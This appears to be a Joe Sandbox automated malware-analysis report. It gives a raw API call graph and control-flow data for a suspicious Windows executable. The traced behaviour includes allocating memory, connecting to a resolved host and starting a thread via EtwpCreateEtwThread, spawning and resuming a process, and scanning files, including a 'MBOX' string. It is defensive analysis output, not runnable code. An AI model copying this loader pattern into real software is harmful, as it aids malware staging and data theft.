12910->12911 12973 533617 RaiseException 12910->12973 12913 53362f 3 API calls 12911->12913 12914 531746 12913->12914 12974 52c308 12914->12974 12916 53176b 12917 53177f 12916->12917 12983 533617 RaiseException 12916->12983 12984 52b5b2 12917->12984 12920 531791 12921 53362f 3 API calls 12920->12921 12922 53179b 12921->12922 12923 52c308 3 API calls 12922->12923 12924 5317c3 12923->12924 12925 5317d7 12924->12925 13000 533617 RaiseException 12924->13000 12927 5317ec 12925->12927 13001 533617 RaiseException 12925->13001 12929 53362f 3 API calls 12927->12929 12930 531829 12929->12930 12931 53362f 3 API calls 12930->12931 12932 531859 12931->12932 12933 52b5b2 6 API calls 12932->12933 12934 531886 12933->12934 12935 52c308 3 API calls 12934->12935 12936 53189c 12935->12936 12939 5318b0 12936->12939 13002 533617 RaiseException 12936->13002 12938 531b2a 12941 531b61 VirtualAlloc 12938->12941 12943 531b0c 12938->12943 12939->12938 12940 531a6a 12939->12940 12939->12943 12945 53362f 3 API calls 12940->12945 12942 52b5b2 6 API calls 12941->12942 12944 531ba2 12942->12944 12948 532161 WriteFile 12943->12948 13005 533617 RaiseException 12943->13005 12946 52c308 3 API calls 12944->12946 12949 531a8a 12945->12949 12947 531bc1 12946->12947 12964 531bd5 12947->12964 13004 533617 RaiseException 12947->13004 12951 532197 WriteFile FlushFileBuffers CloseHandle LoadLibraryA 12948->12951 12952 53217f WriteFile 12948->12952 12955 52b5b2 6 API calls 12949->12955 12954 5321e5 12951->12954 12960 532200 12951->12960 12952->12951 13006 533617 RaiseException 12954->13006 12956 531adc 12955->12956 12959 52c308 3 API calls 12956->12959 12957 531e34 VirtualFree 12957->12943 12961 531af8 12959->12961 12960->12896 12963 53362f 3 API calls 12960->12963 12961->12943 13003 533617 RaiseException 12961->13003 12963->12896 12964->12957 12965 536176 41 API calls 12964->12965 12972 531c48 12964->12972 12966 531cd2 12965->12966 12967 53459f 3 API calls 12966->12967 12966->12972 12968 531d0b 12967->12968 12969 536176 41 API calls 12968->12969 12970 531d87 12969->12970 12971 531dae SetLastError 12970->12971 12970->12972 12971->12896 12972->12957 12973->12911 12975 52c333 12974->12975 12976 52c347 EnterCriticalSection 12975->12976 12977 52c35a 12975->12977 12976->12977 12978 52c5c7 12977->12978 12979 52c389 12977->12979 12982 52c3db 12977->12982 13007 52c5d2 12978->13007 12981 52c3af ReadFile 12979->12981 12979->12982 12981->12982 12982->12916 12983->12917 12985 52b5dd 12984->12985 12986 52b5f1 EnterCriticalSection 12985->12986 12987 52b604 12985->12987 12986->12987 12988 52b64a SetFilePointer 12987->12988 12989 52b67c 12987->12989 12998 52b672 12987->12998 12988->12998 12990 52b68b 12989->12990 12991 52b6de 12989->12991 12996 52b6b5 SetLastError 12990->12996 12990->12998 12992 52b6e4 12991->12992 12993 52b73f 12991->12993 12997 52b710 SetLastError 12992->12997 12992->12998 12994 52b7a2 SetLastError 12993->12994 12995 52b745 12993->12995 12994->12998 12995->12998 12999 52b776 SetLastError 12995->12999 12996->12998 12997->12998 12998->12920 12999->12998 13000->12925 13001->12927 13002->12939 13003->12943 13004->12964 13005->12948 13006->12960 13008 52c5e0 LeaveCriticalSection 13007->13008 13009 52c5ed 13007->13009 13008->13009 13009->12982 13010->12846 13011->12852 13015 530351 13012->13015 13016 53034c 13012->13016 13013 53052d 13014 536c81 3 API calls 13013->13014 13014->13016 13015->13013 13015->13016 13017 5303ec RaiseException 13015->13017 13018 5303fa 13015->13018 13016->12659 13017->13018 13019 530485 RaiseException 13018->13019 13023 530493 13018->13023 13019->13023 13020 53627f 17 API calls 13020->13023 13021 530573 GetModuleHandleA 13021->13023 13022 530320 17 API calls 13022->13023 13023->13013 13023->13020 13023->13021 13023->13022 13024 530620 3 API calls 13023->13024 13024->13023 13025 529ed0 13026 53362f 3 API calls 13025->13026 13027 529f15 GetModuleHandleA GetModuleFileNameA GetModuleHandleA 13026->13027 13028 529f70 RaiseException 13027->13028 13029 529f81 GetProcAddress 13027->13029 13028->13029 13030 529faa 7 API calls 13029->13030 13031 529f99 RaiseException 13029->13031 13032 52a02c 13030->13032 13031->13030 13033 52a040 LocalFree 13032->13033 13035 52a099 13032->13035 13033->13032 13034 52a18c 13033->13034 13036 406552 13041 40dc5d __EH_prolog3 13036->13041 13038 406561 13039 406584 13038->13039 13046 40d7e1 __EH_prolog3_catch 13038->13046 13044 40dc77 13041->13044 13045 40dcb7 13044->13045 13050 40d94e EnterCriticalSection 13044->13050 13064 40d3d1 __CxxThrowException 13044->13064 13045->13038 13047 40d809 13046->13047 13048 40d7f5 13046->13048 13047->13038 13048->13047 13066 4064ed 13048->13066 13051 40d971 13050->13051 13052 40da3c LeaveCriticalSection 13051->13052 13053 40d9aa 13051->13053 13054 40d9bf GlobalHandle GlobalUnWire 13051->13054 13052->13044 13057 40d9b2 GlobalAlloc 13053->13057 13056 40d898 13054->13056 13058 40d9dd GlobalReAlloc 13056->13058 13059 40d9e9 13057->13059 13058->13059 13060 40da10 GlobalFix _memset 13059->13060 13061 40da02 LeaveCriticalSection 13059->13061 13062 40d9f4 GlobalHandle GlobalFix 13059->13062 13060->13052 13065 40d399 __CxxThrowException 13061->13065 13062->13061 13069 4063b2 __EH_prolog3_catch 13066->13069 13068 4064f9 13068->13047 13070 4063e1 13069->13070 13081 4024ca 13070->13081 13074 406458 13076 406479 13074->13076 13089 4060a4 __EH_prolog3 13074->13089 13078 40649e 13076->13078 13091 4062e8 __EH_prolog3 13076->13091 13080 4064c4 13078->13080 13093 40636b __EH_prolog3 13078->13093 13080->13068 13082 4024f1 13081->13082 13083 4024e7 13081->13083 13085 4016f8 13082->13085 13095 40217e 13083->13095 13087 401700 13085->13087 13086 41e3c5 _malloc 5 API calls 13086->13087 13087->13086 13088 401722 13087->13088 13088->13074 13090 4060bf 13089->13090 13090->13076 13092 406303 13091->13092 13092->13078 13094 406386 13093->13094 13094->13080 13096 402193 13095->13096 13098 4021a1 13096->13098 13099 402114 13096->13099 13098->13082 13100 402133 13099->13100 13105 40e345 13100->13105 13101 40213e 13102 402152 _memcpy_s 13101->13102 13103 402172 13102->13103 13103->13098 13106 40e359 13105->13106 13108 40e355 13105->13108 13109 41e3c5 13106->13109 13108->13101 13111 41e464 13109->13111 13112 41e3d7 13109->13112 13110 41e3e8 __FF_MSGBANNER __NMSG_WRITE 13110->13112 13111->13108 13112->13110 13112->13111 13114 41e434 RtlAllocateHeap 13112->13114 13115 41e376 13112->13115 13114->13112 13116 41e382 13115->13116 13117 41e391 __lock ___sbh_alloc_block 13116->13117 13118 41e3b3 _malloc 13116->13118 13117->13118 13118->13112 13119 5287a0 13130 528380 GetModuleHandleA LocalAlloc 13119->13130 13123 5287ab 13164 422447 13123->13164 13167 423a00 13123->13167 13184 41e1ee 13123->13184 13124 5287b5 13214 5353af 13124->13214 13131 5283d3 LocalAlloc 13130->13131 13133 5284a0 RaiseException 13131->13133 13134 528497 13131->13134 13135 5284b1 13133->13135 13134->13133 13134->13135 13136 5284e8 RaiseException 13135->13136 13137 5284f9 13135->13137 13136->13137 13138 528510 RaiseException 13137->13138 13139 528521 LocalFree GetModuleHandleA 13137->13139 13138->13139 13140 528550 GetProcAddress GetProcAddress 13139->13140 13141 52853f RaiseException 13139->13141 13142 52857f RaiseException 13140->13142 13144 528590 LocalAlloc 13140->13144 13141->13140 13142->13144 13145 528675 13144->13145 13146 52867e RaiseException 13144->13146 13145->13146 13147 52868f 13145->13147 13146->13147 13148 5286c6 RaiseException 13147->13148 13149 5286d7 13147->13149 13148->13149 13150 5286ee RaiseException 13149->13150 13151 5286ff FlushInstructionCache LocalFree LocalFree InitializeCriticalSection InitializeCriticalSection 13149->13151 13150->13151 13217 529380 GetModuleHandleA 13151->13217 13154 53362f 3 API calls 13156 52874d 13154->13156 13227 533eec SetUnhandledExceptionFilter 13156->13227 13157 52877d 13158 528f00 GetModuleHandleA 13157->13158 13159 528f28 RaiseException 13158->13159 13160 528f39 GetProcAddress 13158->13160 13159->13160 13161 528f62 VirtualAlloc GetTickCount VirtualAlloc VirtualAlloc 13160->13161 13162 528f51 RaiseException 13160->13162 13163 528fde 13161->13163 13162->13161 13163->13123 13165 4223d5 __encode_pointer 4 API calls 13164->13165 13166 42244e 13165->13166 13166->13124 13168 423a09 13167->13168 13172 423a0e 13167->13172 13234 42839b 13168->13234 13170 423a3a 13228 4229b7 13170->13228 13172->13170 13173 423a29 _strlen 13172->13173 13178 423a1c 13172->13178 13173->13172 13174 423aa1 13238 41e48f 13174->13238 13175 423a5a _strlen 13179 423a43 13175->13179 13177 4229b7 __calloc_crt 9 API calls 13177->13179 13178->13124 13179->13174 13179->13175 13179->13177 13179->13178 13180 423ac7 13179->13180 13181 423a79 _strcpy_s 13179->13181 13182 41e48f __crtCompareStringA_stat 6 API calls 13180->13182 13181->13179 13183 423a88 __invoke_watson 13181->13183 13182->13178 13183->13179 13185 42081c 13184->13185 13186 41e1fa GetStartupInfoA 13185->13186 13187 41e21d 13186->13187 13310 4240be HeapCreate 13187->13310 13190 41e26e __mtinit 13192 41e277 13190->13192 13193 41e27e __RTC_Initialize 13190->13193 13195 41e1c5 _fast_error_exit 2 API calls 13192->13195 13196 41e284 __ioinit 13193->13196 13194 41e26d 13194->13190 13195->13193 13197 41e290 __amsg_exit 13196->13197 13198 41e298 GetCommandLineA 13196->13198 13197->13198 13312 423d33 13198->13312 13201 41e2b6 __amsg_exit 13202 41e2be 13201->13202 13203 423a00 __setenvp 39 API calls 13202->13203 13204 41e2c3 13203->13204 13205 41e2c7 __amsg_exit 13204->13205 13206 41e2cf 13204->13206 13205->13206 13337 41dc08 13206->13337 13208 41e2d5 13209 41e2e1 __wincmdln 13208->13209 13210 41e2da __amsg_exit 13208->13210 13211 41e2eb 13209->13211 13210->13209 13345 401420 13211->13345 13213 41e301 13213->13124 13365 5353bb EnterCriticalSection 13214->13365 13218 52939a RaiseException 13217->13218 13219 5293ab 73 API calls 13217->13219 13218->13219 13220 529970 7 API calls 13219->13220 13221 52995f RaiseException 13219->13221 13222 5299fc RaiseException 13220->13222 13223 529a0d 25 API calls 13220->13223 13221->13220 13222->13223 13224 529c11 13223->13224 13225 528743 13224->13225 13226 529c2a RaiseException 13224->13226 13225->13154 13226->13224 13227->13157 13230 4229c0 13228->13230 13231 4229fd 13230->13231 13232 4229de Sleep 13230->13232 13248 42771d 13230->13248 13231->13179 13233 4229f3 13232->13233 13233->13230 13233->13231 13235 4283ab 13234->13235 13236 4283a4 13234->13236 13235->13172 13260 428201 13236->13260 13239 41e49b 13238->13239 13240 41e4ab __lock 13239->13240 13241 41e4cc __crtCompareStringA_stat 13239->13241 13242 41e514 13239->13242 13244 41e4bd ___sbh_find_block 13240->13244 13241->13242 13243 41e4ef HeapFree 13241->13243 13242->13178 13243->13242 13245 41e501 13243->13245 13244->13241 13304 4241b4 13244->13304 13246 41e506 GetLastError 13245->13246 13246->13242 13249 427729 13248->13249 13250 427741 13249->13250 13253 427760 13249->13253 13257 423072 13250->13257 13251 427797 __lock ___sbh_alloc_block 13251->13253 13252 4277d2 RtlAllocateHeap 13252->13253 13253->13251 13253->13252 13255 427756 13253->13255 13256 4277c1 _memset 13253->13256 13255->13230 13256->13253 13258 422450 __decode_pointer 4 API calls 13257->13258 13259 423082 __fileno 13258->13259 13261 42081c 13260->13261 13262 42820d __getptd 13261->13262 13263 427efc 13262->13263 13264 428220 getSystemCP 13263->13264 13265 428237 13264->13265 13275 428360 __setmbcp 13264->13275 13286 422972 13265->13286 13269 428264 13270 428271 InterlockedDecrement 13269->13270 13271 42836d 13269->13271 13272 428292 InterlockedIncrement 13270->13272 13273 428281 13270->13273 13271->13275 13278 41e48f __crtCompareStringA_stat 6 API calls 13271->13278 13274 4282a8 13272->13274 13272->13275 13273->13272 13276 41e48f __crtCompareStringA_stat 6 API calls 13273->13276 13274->13275 13277 4282b5 __lock 13274->13277 13275->13235 13279 428291 13276->13279 13280 4282db InterlockedDecrement 13277->13280 13278->13275 13279->13272 13282 42834b InterlockedIncrement 13280->13282 13283 428338 13280->13283 13282->13275 13283->13282 13284 41e48f __crtCompareStringA_stat 6 API calls 13283->13284 13285 42834a 13284->13285 13285->13282 13289 42297b 13286->13289 13287 41e3c5 _malloc 5 API calls 13287->13289 13288 4229b1 13288->13275 13292 42801c getSystemCP 13288->13292 13289->13287 13289->13288 13290 422992 Sleep 13289->13290 13291 4229a7 13290->13291 13291->13288 13291->13289 13293 428047 setSBCS 13292->13293 13294 428055 13292->13294 13295 4281ef 13293->13295 13296 4280f7 _memset 13294->13296 13297 428073 13294->13297 13295->13269 13303 4280d4 13296->13303 13297->13295 13298 42808b IsValidCodePage 13297->13298 13298->13295 13299 42809d GetCPInfo 13298->13299 13300 4281e3 13299->13300 13301 4280b0 _memset 13299->13301 13300->13293 13300->13295 13301->13303 13302 42818b setSBUpLow 13302->13303 13303->13302 13305 4241f3 13304->13305 13309 424495 13304->13309 13306 4243df VirtualFree 13305->13306 13305->13309 13307 424443 13306->13307 13308 424452 VirtualFree HeapFree 13307->13308 13307->13309 13308->13309 13309->13241 13311 41e261 13310->13311 13311->13190 13355 41e1c5 13311->13355 13313 423d51 GetEnvironmentStringsW 13312->13313 13319 423d70 13312->13319 13314 423d65 GetLastError 13313->13314 13315 423d59 13313->13315 13314->13319 13317 423d8c GetEnvironmentStringsW 13315->13317 13322 423d9b 13315->13322 13316 423e09 13318 423e12 GetEnvironmentStrings 13316->13318 13320 41e2a8 __setargv 13316->13320 13317->13320 13317->13322 13318->13320 13321 423e22 13318->13321 13319->13315 13319->13316 13320->13201 13320->13202 13326 422972 __malloc_crt 6 API calls 13321->13326 13322->13322 13323 423db0 WideCharToMultiByte 13322->13323 13324 423dfe FreeEnvironmentStringsW 13323->13324 13325 423dcf 13323->13325 13324->13320 13327 422972 __malloc_crt 6 API calls 13325->13327 13328 423e3c 13326->13328 13329 423dd5 13327->13329 13330 423e43 FreeEnvironmentStringsA 13328->13330 13331 423e4f 13328->13331 13329->13324 13332 423ddd WideCharToMultiByte 13329->13332 13330->13320 13335 423e59 FreeEnvironmentStringsA 13331->13335 13333 423df7 13332->13333 13334 423def 13332->13334 13333->13324 13336 41e48f __crtCompareStringA_stat 6 API calls 13334->13336 13335->13320 13336->13333 13341 41dc16 __IsNonwritableInCurrentImage 13337->13341 13340 41dc49 13342 41dab1 __cinit 11 API calls 13340->13342 13359 4230e4 13341->13359 13343 41dc53 __initterm 13342->13343 13344 41dc6e __IsNonwritableInCurrentImage 13343->13344 13344->13208 13363 401200 WSAStartup 13345->13363 13347 40143c socket 13348 401456 VirtualAlloc 13347->13348 13349 401529 13347->13349 13350 401473 13348->13350 13349->13213 13351 401485 gethostbyname htons connect 13350->13351 13351->13351 13352 4014ca EtwpCreateEtwThread send 13351->13352 13353 401520 WaitForSingleObject 13352->13353 13354 401519 13352->13354 13353->13349 13354->13353 13356 41e1d3 __FF_MSGBANNER 13355->13356 13357 41e1d8 __NMSG_WRITE 13355->13357 13356->13357 13358 41e1ea 13357->13358 13358->13194 13360 4230ea 13359->13360 13361 4223d5 __encode_pointer 4 API calls 13360->13361 13362 41dc34 __initterm_e 13360->13362 13361->13360 13362->13340 13362->13344 13364 401229 13363->13364 13364->13347 13366 5353f9 13365->13366 13370 532498 GetCurrentProcess 13366->13370 13368 535402 13369 535460 ExitProcess 13368->13369 13371 532504 13370->13371 13372 5325f9 13370->13372 13373 53362f 3 API calls 13371->13373 13372->13368 13374 532512 13373->13374 13375 53362f 3 API calls 13374->13375 13376 532529 GetModuleHandleA GetModuleFileNameA CreateProcessA 13375->13376 13377 532592 GetCurrentProcessId 13376->13377 13378 532588 13376->13378 13380 532769 13377->13380 13382 533617 RaiseException 13378->13382 13381 5325a4 ResumeThread 13380->13381 13381->13372 13382->13377

                                              Executed Functions

                                              Function 0052E7A0 Relevance: 55.2, APIs: 29, Strings: 2, Instructions: 998filetimeCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 0 52e7a0-52e814 CreateFileA 1 52e820-52e841 GetFileSize 0->1 2 52e816-52e81b call 533617 0->2 4 52e847-52e854 1->4 5 52eabf-52eb08 SetFilePointer ReadFile 1->5 2->1 4->5 6 52e85a-52e889 4->6 7 52eb13-52eb18 call 533617 5->7 8 52eb0a-52eb11 5->8 9 52e895-52e8d7 6->9 10 52e88b-52e890 call 533617 6->10 11 52eb1d-52eb27 7->11 8->7 8->11 16 52e8e2-52e8e6 9->16 10->9 13 52eb40-52eb45 11->13 14 52eb29-52eb3e 11->14 17 52eb4b-52eb62 13->17 14->17 18 52ea23-52ea29 16->18 19 52e8ec-52e8fd 16->19 20 52eb64-52eb73 17->20 21 52eb7f-52ebb9 SetFilePointer ReadFile 17->21 18->5 22 52ea2f-52ea36 18->22 23 52e912 19->23 24 52e8ff-52e910 19->24 20->21 25 52eb75-52eb7a call 533617 20->25 27 52ebc4-52ebc9 call 533617 21->27 28 52ebbb-52ebc2 21->28 22->5 26 52ea3c-52ea51 22->26 23->16 24->23 29 52e914-52e990 SetFilePointer ReadFile 24->29 25->21 32 52ea5b-52ea94 SetFilePointer ReadFile 26->32 33 52ebce-52ec0f SetFilePointer 27->33 28->27 28->33 29->18 35 52e996-52e99d 29->35 36 52eaa0-52eaa7 32->36 37 52ea96-52ea9b call 533617 32->37 39 52eca5-52ecc0 ReadFile 33->39 40 52ec15-52ec30 ReadFile 33->40 35->18 38 52e9a3-52e9e9 call 532a6d call 532a79 call 532b32 35->38 44 52eaab-52eabd 36->44 45 52eaa9 36->45 37->36 38->18 73 52e9eb-52ea1e SetFilePointer 38->73 42 52ecc2-52ecc9 39->42 43 52eccb-52ecd0 call 533617 39->43 47 52ec32-52ec39 40->47 48 52ec3b-52ec40 call 533617 40->48 42->43 49 52ecd5-52ecf0 ReadFile 42->49 43->49 44->32 45->5 47->48 52 52ec45-52ec60 ReadFile 47->52 48->52 56 52ecf2-52ecf9 49->56 57 52ecfb-52ed00 call 533617 49->57 54 52ec62-52ec69 52->54 55 52ec6b-52ec70 call 533617 52->55 54->55 59 52ec75-52ec90 ReadFile 54->59 55->59 56->57 61 52ed05-52ed20 ReadFile 56->61 57->61 67 52ec92-52ec99 59->67 68 52ec9b-52eca0 call 533617 59->68 65 52ed22-52ed29 61->65 66 52ed2b-52ed30 call 533617 61->66 65->66 70 52ed35-52ed50 ReadFile 65->70 66->70 67->39 67->68 68->39 74 52ed52-52ed59 70->74 75 52ed5b-52ed60 call 533617 70->75 73->5 74->75 76 52ed65-52ed80 ReadFile 74->76 75->76 78 52ed82-52ed89 76->78 79 52ed8b-52ed90 call 533617 76->79 78->79 80 52ed95-52edb0 ReadFile 78->80 79->80 82 52edb2-52edb9 80->82 83 52edbb-52edc0 call 533617 80->83 82->83 84 52edc5-52edd0 82->84 83->84 86 52efe2-52effc 84->86 87 52edd6-52edda 84->87 89 52f009-52f00e call 533617 86->89 90 52effe-52f007 86->90 87->86 88 52ede0-52ede4 87->88 88->86 93 52edea-52efdf call 53362f * 4 GetFileTime call 53362f CharUpperBuffA 88->93 91 52f013-52f04e call 53362f SetFilePointer 89->91 90->89 90->91 98 52f054-52f05d 91->98 93->86 100 52f05f-52f08c ReadFile 98->100 101 52f0ac-52f0cb call 528c1e 98->101 103 52f098-52f0aa 100->103 104 52f08e-52f093 call 533617 100->104 111 52f10b-52f10d 101->111 112 52f0cd-52f0ef 101->112 103->98 104->103 113 52f10f-52f117 111->113 115 52f161-52f163 112->115 116 52f0f1-52f0f6 112->116 117 52f181-52f22e call 53362f * 2 GetFileTime 113->117 118 52f119-52f11f 113->118 119 52f165-52f16a call 533617 115->119 120 52f16f-52f17f call 53362f 115->120 116->111 134 52f230-52f237 117->134 135 52f246-52f24d 117->135 118->113 123 52f121-52f15f call 532a6d call 532a79 call 532b32 118->123 119->120 120->117 123->115 134->135 137 52f239-52f240 GetSystemTimeAsFileTime 134->137 138 52f258-52f25e 135->138 137->135 141 52f347-52f354 138->141 142 52f264-52f342 call 53362f CharUpperBuffA 138->142 144 52f401-52f407 141->144 145 52f35a-52f391 141->145 142->138 146 52f40d-52f416 144->146 148 52f3a2-52f3ae 145->148 151 52f56e-52f5d3 CreateFileA call 52f5da 146->151 152 52f41c-52f430 146->152 149 52f3b0-52f3e8 148->149 150 52f3ea-52f3fc 148->150 149->148 150->144 159 52f5d8-52f637 151->159 155 52f436-52f44c 152->155 157 52f494-52f499 155->157 158 52f44e-52f455 155->158 163 52f49f-52f4b2 157->163 160 52f457-52f46f 158->160 161 52f488-52f492 158->161 160->157 164 52f471-52f486 160->164 161->163 165 52f4b4 163->165 166 52f4b9-52f4d2 163->166 164->155 164->161 165->151 167 52f4d8-52f4ee 166->167 168 52f4f0-52f4f7 167->168 169 52f536-52f53b 167->169 170 52f52a-52f534 168->170 171 52f4f9-52f511 168->171 172 52f541-52f554 169->172 170->172 171->169 173 52f513-52f528 171->173 174 52f556 172->174 175 52f558-52f569 172->175 173->167 173->170 174->151 175->146
                                              APIs
                                              • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8), ref: 0052E807
                                              • GetFileSize.KERNEL32(?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052E826
                                              • SetFilePointer.KERNEL32(?,?,00000000,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052E966
                                              • SetFilePointer.KERNEL32(?,00000000,00000000,00000002,?,?,00000010,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001), ref: 0052EA04
                                              • SetFilePointer.KERNEL32(?,?,00000000,00000002,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052EA6A
                                              • ReadFile.KERNEL32(?,?,00000001,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052EA8C
                                              • SetFilePointer.KERNEL32(?,?,00000000,00000002,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052EACE
                                              • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052EB00
                                              • ReadFile.KERNEL32(?,?,00000020,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052E988
                                                • Part of subcall function 00533617: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,EF00000D,?,005336AD,?,?,00533639), ref: 00533627
                                              • SetFilePointer.KERNEL32(?,?,00000000,00000002,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052EB8E
                                              • ReadFile.KERNEL32(?,?,00000010,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052EBB1
                                              • SetFilePointer.KERNEL32(?,?,00000000,00000002,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052EBF5
                                              • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052EC28
                                              • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052EC58
                                              • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052EC88
                                              • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052ECB8
                                              • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052ECE8
                                              • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052ED18
                                              • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052ED48
                                              • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052ED78
                                              • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,00000000,Function_0012754C,00539428,000000FF,?,0052E4D8,?,00000001,00000000), ref: 0052EDA8
                                              • CharUpperBuffA.USER32(?,?), ref: 0052EF6F
                                              • GetFileTime.KERNEL32(?,?,00000000,00000000), ref: 0052EEC0
                                                • Part of subcall function 0053362F: RtlAllocateHeap.NTDLL(00000000,00000008,00000000), ref: 0053364E
                                              • SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0052F04E
                                              • ReadFile.KERNEL32(?,?,?,00000000,00000000), ref: 0052F084
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: File$Read$Pointer$AllocateBuffCharCreateExceptionHeapRaiseSizeTimeUpper
                                              • String ID: $MBOX
                                              • API String ID: 1157582414-2317254163
                                              • Opcode ID: 938f200976564d3191f676ace1fb14b7ab50162c56824c95ef9b91afffad329f
                                              • Instruction ID: aa4839ef23039657edf9f0799dc126358f20b240356a017c771a5e143fdfbd4f
                                              • Opcode Fuzzy Hash: 938f200976564d3191f676ace1fb14b7ab50162c56824c95ef9b91afffad329f
                                              • Instruction Fuzzy Hash: 01A23A75A002199FDB24DF98DC99BEDBBB5BF89300F148198E509AB391C730AE85CF50
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0052DF60 Relevance: 35.6, APIs: 18, Strings: 2, Instructions: 554libraryfilestringCOMMON
                                              Download Yara Rule

                                              Control-flow Graph

                                              • Executed
                                              • Not Executed
                                              control_flow_graph 469 52df60-52e05b InitializeCriticalSection call 528ef0 call 53362f * 2 GetModuleHandleA GetModuleFileNameA GetFullPathNameA GetModuleHandleA GetProcAddress 476 52e072-52e096 469->476 477 52e05d-52e070 GetLongPathNameA 469->477 478 52e098-52e1d7 CharUpperBuffA call 527700 GetShortPathNameA CharUpperBuffA call 527700 call 53362f 476->478 477->478 485 52e291-52e2bb 478->485 486 52e1dd-52e216 call 527700 478->486 487 52e2d0-52e336 call 53362f call 527700 485->487 488 52e2bd-52e2c8 call 52e7a0 485->488 493 52e234-52e248 486->493 494 52e218-52e231 486->494 502 52e56b-52e61a call 5336b2 call 52f640 call 53362f * 5 487->502 503 52e33c-52e34c 487->503 495 52e2cd 488->495 497 52e254-52e28b CharUpperBuffA 493->497 498 52e24a-52e24f call 533617 493->498 494->493 495->487 497->485 498->497 536 52e634 502->536 537 52e61c-52e632 call 536a6f 502->537 505 52e35d-52e366 503->505 506 52e38a-52e403 GetFullPathNameA CharUpperBuffA 505->506 507 52e368-52e374 505->507 506->502 514 52e409-52e44a FindFirstFileA 506->514 509 52e376-52e385 507->509 510 52e388 507->510 509->510 510->505 516 52e450-52e45b 514->516 517 52e548-52e550 514->517 519 52e461-52e474 lstrcmpi 516->519 520 52e51f-52e535 FindNextFileA 516->520 522 52e552-52e55b 517->522 523 52e55d-52e563 517->523 519->520 524 52e47a-52e4e2 CharUpperBuffA call 52e7a0 519->524 520->516 526 52e53b-52e542 FindClose 520->526 522->517 523->502 524->520 526->517 539 52e63e-52e660 call 53362f 536->539 537->539 543 52e662-52e678 call 536a6f 539->543 544 52e67a 539->544 546 52e684-52e6a7 call 53362f 543->546 544->546 550 52e6c1 546->550 551 52e6a9-52e6bf call 536a6f 546->551 553 52e6cb-52e6ee call 53362f 